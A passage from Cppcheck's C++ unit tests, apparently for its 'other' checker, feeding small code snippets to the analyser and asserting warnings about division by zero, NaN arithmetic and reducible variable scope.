TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after 